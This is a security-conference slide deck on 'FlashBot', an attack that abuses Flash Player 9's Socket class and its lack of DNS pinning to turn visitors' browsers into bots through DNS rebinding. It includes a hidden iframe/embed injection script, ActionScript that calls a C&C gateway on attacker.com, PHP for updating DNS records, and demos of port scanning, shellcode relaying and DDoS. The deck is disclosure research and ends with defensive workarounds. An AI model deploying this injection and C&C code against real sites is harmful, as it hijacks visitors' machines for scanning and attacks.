Zombilizing The Web Browers Via Flash Player 9

Thai N. Duong<thaidn AT gmail DOT com>

http://vnhacker.blogspot.com

OverviewOverview Flash Player 9 and its potential weaknesses

Socket class Breaking the same-origin policy using crossdomain.xml and

DNS Spoofing

Exploiting the weaknesses Introducing FlashBot Demo

Workarounds

Flash Player 9Socket class

Quote from Flash 9 documentation “The Socket class enables ActionScript code to make socket connections and

to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”

Flash Player 9Socket class

Quote from Flash 9 documentation “The Socket class enables ActionScript code to make socket connections and

to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”

Let's port nmap to ActionScript!

Flash Player 9Socket class

Quote from Flash 9 documentation “The Socket class enables ActionScript code to make socket connections and

to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”

Let's port nmap to ActionScript!

Err wait, how about the same-origin policy?

Same-Origin Policy

originally released with Netscape Navigator 2.0 and has been incorporated into every major browser since

prevents a document or script loaded from one site of origin from manipulating properties of or communicating with a document loaded from another site of origin

origin = domain name + port + protocol

Same-Origin Policy

Flash Player 9Same-Origin Policy

Breaking the SOP: crossdomain.xml

A SWF file from a.com may read from the server at b.com (using the Socket class, for example) if b.com has a cross-domain policy file that permits access from a.com (or from all domains).

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain=”*” to-ports=”*” />

</cross-domain-policy>

Yahoo! - http://api.search.yahoo.com/crossdomain.xml

YouTube - http://www.youtube.com/crossdomain.xml

Amazon.com - http://www.amazon.com/crossdomain.xml

DNS Pinning Explained same-origin policy

origin = domain name + port + protocol

DNS Pinning Explained same-origin policy

origin = domain name + port + protocol DNS is not static, and host names could potentially

resolve to different addresses over the course of a browsing session. Dynamic DNS anybody?

Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain

DNS Pinning same-origin policy

origin = domain name + port + protocol DNS is not static, and host names could potentially

resolve to different addresses over the course of a browsing session.

Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain

fact: Flash Player does not pin DNS at all.

Breaking the SOP: DNS Spoofing 1) The user loads a SWF file from

www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.

Breaking the SOP: DNS Spoofing1) The user loads a SWF file from

www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.

2) ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.

Breaking the SOP: DNS Spoofing1) The user loads a SWF file from

www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.

2) ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.

3) Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.

Breaking the SOP: DNS Spoofing 1) The user loads a SWF file from

www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.

2) ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.

3) Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.

4) The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com.

Breaking the SOP: DNS Spoofing 1) The user loads a SWF file from

www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.

2) ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.

3) Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.

4) The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com

5) The SWF file located on www.attacker.com now has full access to www.example.com

FlashBot 101 an 130KB SWF file written in ActionScript 3.0 that

works on all web browsers supporting Flash Player 9 once loaded on victim web browsers, FlashBot can

leverage victim computers to execute commands received from a C&C server

commands that FlashBot understands: port scaning

socket relaying (i.e., to send shellcode)

launching web DDoS attacks

How FlashBot works FlashBot is secretly inserted into www.example.com via

JavaScript or iframe:

function source() {

return "http://" + Math.random().toString().substr(2) + "." + "attacker.com/flashbot.swf" ;

}

document.write('<object width="1" height="1">');

document.write('<embed src="' + source() + '" type="application/x-shockwave-flash" width="1" height="1">');

document.write('</embed></object>');

How FlashBot works Victim visits www.example.com to load FlashBot from

http://<random-subdomain>.attacker.com/flashbot.swf ActionScript in FlashBot connects back to the C&C server:

private function getCommand(subdomain:String, domain:String):void {

var cnc: String = "http://cnc" + "." + domain;

var connection:NetConnection = new NetConnection();

connection.connect(cnc + "/flashservices/gateway.php");

connection.call("FlashBot.getCommand", responder, subdomain, domain);

}

How FlashBot works C&C server sends to FlashBot a command which is

associated with a target IP address C&C server automatically updates the DNS server (powered

by PowerDNS) to map the subdomain of victim to the target IP address:

$query = "SELECT 1 FROM records WHERE name = '$record_name'";

$result = mysql_query($query);

if ( mysql_num_rows($result) ) {

$query = "UPDATE records SET content='$ip' WHERE name='$record_name'";

}

else {

$query = "INSERT INTO records VALUES (NULL, 2, '$record_name', 'A', '$ip', '6', NULL, NULL)";

}

How FlashBot works ActionScript in FlashBot waits for the DNS information

expires:

timer1 = new Timer( 10 * 1000, 1 );

timer1.addEventListener( TimerEvent.TIMER, exeCommand );

timer1.start(); FlashBot executes the command, and (optionally) sends the

result back to C&C then to start over the whole process.

Show Time!- set your DNS server to 221.133.4.24

- start Wireshark to see what you send out!

Demo 1: port scanning

works on Firefox scan 127.0.0.1 scan all other hosts in the same subnet with the victim

http://www.example.com/scanport.html

Demo 2: socket relaying

works on all browsers supporting Flash Player 9 relay socket connection to any IP address in the intranets

and the Internet can be used to send shellcodes, spam mails, launch DDoS

attacks

http://www.example.com/relay.html

Workarounds disable Flash Player (and all other plugins) in your web

browser. still want to watch youtube.com? use Firefox + NoScript +

FlashBlock restrict browser access to only port 80 and 443 using a

personal firewall

Thanks DAB Security Team VNSecurity Team, esp. rd and aquynh http://christ1an.blogspot.com http://www.jumperz.net theresacow: I own you a hug ;).

Zombilizing The Web Browers Via Flash Player 9

Thank you!

Questions/Comments?

Thai N. Duong